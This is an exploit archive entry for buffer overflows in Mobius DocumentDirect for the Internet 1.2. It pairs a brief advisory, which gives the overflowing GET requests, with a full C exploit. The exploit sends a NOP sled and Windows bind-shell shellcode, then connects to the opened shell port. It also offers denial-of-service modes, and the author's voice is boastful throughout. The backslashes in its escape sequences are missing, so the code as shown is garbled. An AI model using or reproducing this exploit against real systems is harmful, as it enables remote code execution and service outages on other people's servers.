https://www.exploit-db.com/exploits/20211
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200011-042

Internet1.2版本的MobiusDocumentDirect中ddicgi.exe存在缓冲区溢出漏洞。远程攻击者借助超长User-Agent参数执行任意命令。

source: http://www.securityfocus.com/bid/1657/info

A number of unchecked static buffers exist in Mobius' DocumentDirect for the Internet program. Depending on the data entered, arbitrary code execution or a denial of service attack could be launched under the privilege level of the corresponding service.

Buffer Overflow #1 - Issuing the following GET request will overflow DDICGI.EXE:

GET /ddrint/bin/ddicgi.exe?[string at least 1553 characters long]=X HTTP/1.0

Buffer Overflow #2 - Entering a username consisting of at least 208 characters in the web authorization form will cause DDIPROC.EXE to overflow. If random data were to be used, a denial of service attack would be launched against the DocumentDirect Process Manager which would halt all services relating to it.

Buffer Overflow #3 - Issuing the following GET request will cause an access validation error in DDICGI.EXE:

GET /ddrint/bin/ddicgi.exe HTTP/1.0rnUser-Agent: [long string of characters]rnrn

/*

 Mobius DocumentDirect for the Internet 1.2 Buffer Overflow Vulnerabilities
 Remote Xploit by [email protected]
 Date: 08/09/y2k

 Bugtraq id :   1657
 Class      :   Boundary Condition Error
 Cve        :   GENERIC-MAP-NOMATCH
 Remote     :   Yes
 Local      :   Yes
 Published  :   September 08, 2000
 Vulnerable :   Mobius DocumentDirect for the Internet 1.2
                - Microsoft Windows NT 4.0

 SecurityFocus Reports:

 "A number of unchecked static buffers exist in Mobius' DocumentDirect
 for the Internet program. Depending on the data entered, arbitrary code
 execution or a denial of service attack could be launched under the
 privilege level of the corresponding service."


 Girl of the month: niness (heh)

 Legal Notice: No animals where harmed during the coding of this Xploit...

*/

#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

struct Xploiting_ways {
  char *Xploit_way;
  int port;
  char *command;
  int overflow_string_size;
};

struct Xploiting_ways Xploiting_ways[]={
  {"Mobius ddicgi.exe XPLOIT",80,"GET /ddrint/bin/ddicgi.exe?BO=X HTTP/1.0nn",1553},
  {"Mobius DoS [username]",80,"GET / HTTP/1.1nUnless-Modified-Since: BOnn",215},
  {"Mobius DoS [long string]",80,"GET /ddrint/bin/ddicgi.exe HTTP/1.0rnUser-Agent: BOrnrn",2048},
  {NULL,0,NULL,0}
};

#define NOP                               0x90
#define PORT_LOCATION                      524 // Port will be injected on
                                               // byte'shellcode + 524
// Leet Port Binder'shellcode for Win b0xez...
char shellcode[] =
  "x4bx8bxc3xbbx01x90x16x01xc1xebx02x8bxf8x33"
  "xc0x50x48x90x50x59xf2xafx59xb1xc6x8bxc7x48"
  "x80x30x99xe2xfax33xf6x96x90x90x56xffx13x8b"
  "xd0xfcx33xc9xb1x0bx49x32xc0xacx84xc0x75xf9"
  "x52x51x56x52xb3x80x90x90xffx13xabx59x5axe2"
  "xecx32xc0xacx84xc0x75xf9xb3x01x4bx90x56xff"
  "x13x8bxd0xfcx33xc9xb1x06x32xc0xacx84xc0x75"
  "xf9x52x51x56x52xb3x80x90x90xffx13xabx59x5a"
  "xe2xecx83xc6x05x33xc0x50x40x50x40x50xffx57"
  "xe8x93x6ax10x56x53xffx57xecx6ax02x53xffx57"
  "xf0x33xc0x57x50xb0x0cxabx58xabx40xabx5fx48"
  "x50x57x56xadx56xffx57xc0x48x50x57xadx56xad"
  "x56xffx57xc0x48xb0x44x89x07x57xffx57xc4x33"
  "xc0x8bx46xf4x89x47x3cx89x47x40x8bx06x89x47"
  "x38x33xc0x66xb8x01x01x89x47x2cx57x57x33xc0"
  "x50x50x50x40x50x48x50x50xadx56x33xc0x50xff"
  "x57xc8xffx76xf0xffx57xccxffx76xfcxffx57xcc"
  "x48x50x50x53xffx57xf4x8bxd8x33xc0xb4x04x50"
  "xc1xe8x04x50xffx57xd4x8bxf0x33xc0x8bxc8xb5"
  "x04x50x50x57x51x50xffx77xa8xffx57xd0x83x3f"
  "x01x7cx22x33xc0x50x57xffx37x56xffx77xa8xff"
  "x57xdcx0bxc0x74x2fx33xc0x50xffx37x56x53xff"
  "x57xf8x6ax50xffx57xe0xebxc8x33xc0x50xb4x04"
  "x50x56x53xffx57xfcx57x33xc9x51x50x56xffx77"
  "xacxffx57xd8x6ax50xffx57xe0xebxaax50xffx57"
  "xe4x90xd2xdcxcbxd7xdcxd5xaaxabx99xdaxebxfc"
  "xf8xedxfcxc9xf0xe9xfcx99xdexfcxedxcaxedxf8"
  "xebxedxecxe9xd0xf7xffxf6xd8x99xdaxebxfcxf8"
  "xedxfcxc9xebxf6xfaxfcxeaxeaxd8x99xdaxf5xf6"
  "xeaxfcxd1xf8xf7xfdxf5xfcx99xc9xfcxfcxf2xd7"
  "xf8xf4xfcxfdxc9xf0xe9xfcx99xdexf5xf6xfbxf8"
  "xf5xd8xf5xf5xf6xfax99xcexebxf0xedxfcxdfxf0"
  "xf5xfcx99xcbxfcxf8xfdxdfxf0xf5xfcx99xcaxf5"
  "xfcxfcxe9x99xdcxe1xf0xedxc9xebxf6xfaxfcxea"
  "xeax99xcexcaxd6xdaxd2xaaxabx99xeaxf6xfaxf2"
  "xfcxedx99xfbxf0xf7xfdx99xf5xf0xeaxedxfcxf7"
  "x99xf8xfaxfaxfcxe9xedx99xeaxfcxf7xfdx99xeb"
  "xfcxfaxefx99x9bx99"
  "xffxff" // Port Number will be injected here...
  "x99x99x99x99x99x99"
  "x99x99x99x99x99x99xfaxf4xfdxb7xfcxe1xfcx99"
  "xffxffxffxffx09x1fx40x00x0dx0ah";

int
openhost(char *host,int port) {
   int sock;
   struct sockaddr_in addr;
   struct hostent *he;
   he=gethostbyname(host);
   if (he==NULL) return -1;
   sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
   if (sock==-1) return -1;
   memcpy(&addr.sin_addr, he->h_addr, he->h_length);
   addr.sin_family=AF_INET;
   addr.sin_port=htons(port);
   if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) sock=-1;
   return sock;
}

void
sends(int sock,char *buf) {
  write(sock,buf,strlen(buf));
}

void
own3dshell(int sock)
{
 char buf[1024];
 fd_set rset;
 int i;
 while (1)
 {
  FD_ZERO(&rset);
  FD_SET(sock,&rset);
  FD_SET(STDIN_FILENO,&rset);
  select(sock+1,&rset,NULL,NULL,NULL);
  if (FD_ISSET(sock,&rset))
  {
   i=read(sock,buf,1024);
   if (i <= 0)
   {
     printf("The connection was closed!n");
     printf("Exiting...nn");
     exit(0);
   }
   buf[i]=0;
   puts(buf);
  }
  if (FD_ISSET(STDIN_FILENO,&rset))
  {
   i=read(STDIN_FILENO,buf,1024);
   if (i>0)
   {
    buf[i]=0;
    write(sock,buf,i);
   }
  }
 }
}

void
own_or_DoS(char *host, int type, int bind_shell_port)
{
 char *buf, *tmp;
 int sock, i, x, buffer_size, bindshell=bind_shell_port;
 unsigned char *ShellPortOffset;
 printf("Type Number     : %dn",type);
 printf("Xploit way      : %sn",Xploiting_ways[type].Xploit_way);
 printf("Port            : %dn",Xploiting_ways[type].port);
 printf("Bind Shell Port : %dn",bindshell);
 printf("Let the show begin ladyes...n");
 printf("Connecting to %s [%d]...",host,Xploiting_ways[type].port);
 sock=openhost(host,Xploiting_ways[type].port);
 if (sock==-1)
 {
  printf("FAILED!n");
  printf("Couldnt connect...leaving :|nn");
  exit(-1);
 }
 printf("SUCCESS!n");
 printf("Determinating buffer size...");
 buffer_size=(strlen(Xploiting_ways[type].command)
             +
             Xploiting_ways[type].overflow_string_size);
 printf("DONE! (%d)n",buffer_size);
 printf("Allocating memory for buffer...");
 if (!(buf=malloc(buffer_size)))
 {
  printf("FAILED!n");
  printf("Leaving... :[nn");
  exit(-1);
 }
 printf("WORKED!n");
 printf("Allocating memory for temp buffer...");
 if (!(tmp=malloc(Xploiting_ways[type].overflow_string_size)))
 {
  printf("FAILED!n");
  printf("Leaving... :[nn");
  exit(-1);
 }
 printf("WORKED TO! (heh)n");
 if (bindshell==0) // aka DoS (type > 0)
    bzero(tmp,Xploiting_ways[type].overflow_string_size);
 else // aka Xploit (type == 0)
 {
  for(i=0;
      i<Xploiting_ways[type].overflow_string_size-strlen(shellcode);
      i++) tmp[i]=NOP;
  // Now we inject the 16 byte port number on tha shellcode ;)
  ShellPortOffset = shellcode + PORT_LOCATION;
  bind_shell_port ^= 0x9999;
  *ShellPortOffset = (char) ((bind_shell_port >> 8) & 0xff);
  *(ShellPortOffset + 1) = (char) (bind_shell_port & 0xff);
  strcat(tmp,shellcode);
 }
 for(i=0;;i++)
  if ((Xploiting_ways[type].command[i]=='B') &&
      (Xploiting_ways[type].command[i+1]=='O')) break;
  else buf[i]=Xploiting_ways[type].command[i];
 strcat(buf,tmp);
 i+=2;
 for(;i<strlen(Xploiting_ways[type].command);i++)
    buf[strlen(buf)]=Xploiting_ways[type].command[i];
 printf("Sending EVIL buffer ;)n");
 sends(sock,buf);
 close(sock);
 printf("Freeing buffers...");
 free(buf);
 free(tmp);
 printf("DONE!n");
 // Lets test if it is a DoS or a Xploit again...
 if (bindshell>0)
 {
  printf("Trying to binded'shell [%d]...",bindshell);
  sock=openhost(host,bindshell);
  if (sock==-1)
  {
   printf("FAILED!n");
   printf("Too bad... :[ exiting...nn");
   exit(-1);
  }
  printf("W0RK3D! ;)n");
  printf("Prepare to have an orgazm...(or something like that *g*)n");
  own3dshell(sock);
  printf("I RULE!n"); // Heh, nobody will ever'c thiz message, so why not? ;)
 }
 else
 {
  printf("If the rem0te box was running a vulnerable version, it CRASHED =)n");
  printf("Regardz, [email protected]");
 }
}

void
show_types()
{
 int i;
 printf("nttt-* Available Typez *-nn");
 for(i=0;(Xploiting_ways[i].Xploit_way!=NULL);i++)
 {
  printf("Type Number: %dnXploit Way : %snPort       : %dnOverflow string size : %dn-************************-n",i
        ,Xploiting_ways[i].Xploit_way
        ,Xploiting_ways[i].port
        ,Xploiting_ways[i].overflow_string_size);
 }
}

main(int argc, char *argv[])
{
 int i;
 // lets keep on (int) var i the number of types ;)
 for(i=0;;i++) if (Xploiting_ways[i].Xploit_way==NULL) break;
 i--; // oh shit! Cant forget that'array[0] thingie! :))
 printf("nMobius DocumentDirect for the Internet 1.2 Xploit by [email protected]");
 if (argc<3) {
    printf("Sintaxe: %s <host> <type number> [bind shell port] [port (server)]n",argv[0]);
    show_types();
    printf("nFlamez to [email protected]");
 }
 else
    if ((atoi(argv[2])<=i) && (atoi(argv[2])>=0))
    {
     if (argc==3)
      if (atoi(argv[2])>0) own_or_DoS(argv[1],atoi(argv[2]),0);
      else
      {
       printf("- Bad Sintaxe -n");
       printf("Leaving...nn");
      }
     else
        if (argc==4)
        {
         if (atoi(argv[2])>0) own_or_DoS(argv[1],atoi(argv[2]),0);
         else
            own_or_DoS(argv[1],atoi(argv[2]),atoi(argv[3]));
        }
        else
         if ((atoi(argv[3])>0) && (atoi(argv[4])>0))
         {
          Xploiting_ways[atoi(argv[2])].port=atoi(argv[4]);
          if (atoi(argv[2])>0)
           own_or_DoS(argv[1],atoi(argv[2]),0);
          else
           own_or_DoS(argv[1],atoi(argv[2]),atoi(argv[3]));
          Xploiting_ways[atoi(argv[2])].port=atoi(argv[4]);
         }
    }
    else
    {
     printf("- Bad Type Number - [Range 0 - %d]n",i);
     printf("Let's try again... :P hehnn");
    }
          
}

来源:XF
名称:documentdirect-user-agent-bo
链接:http://xforce.iss.net/static/5212.php
来源:BID
名称:1657
链接:http://www.securityfocus.com/bid/1657
来源:ATSTAKE
名称:A090800-1
链接:http://www.atstake.com/research/advisories/2000/a090800-1.txt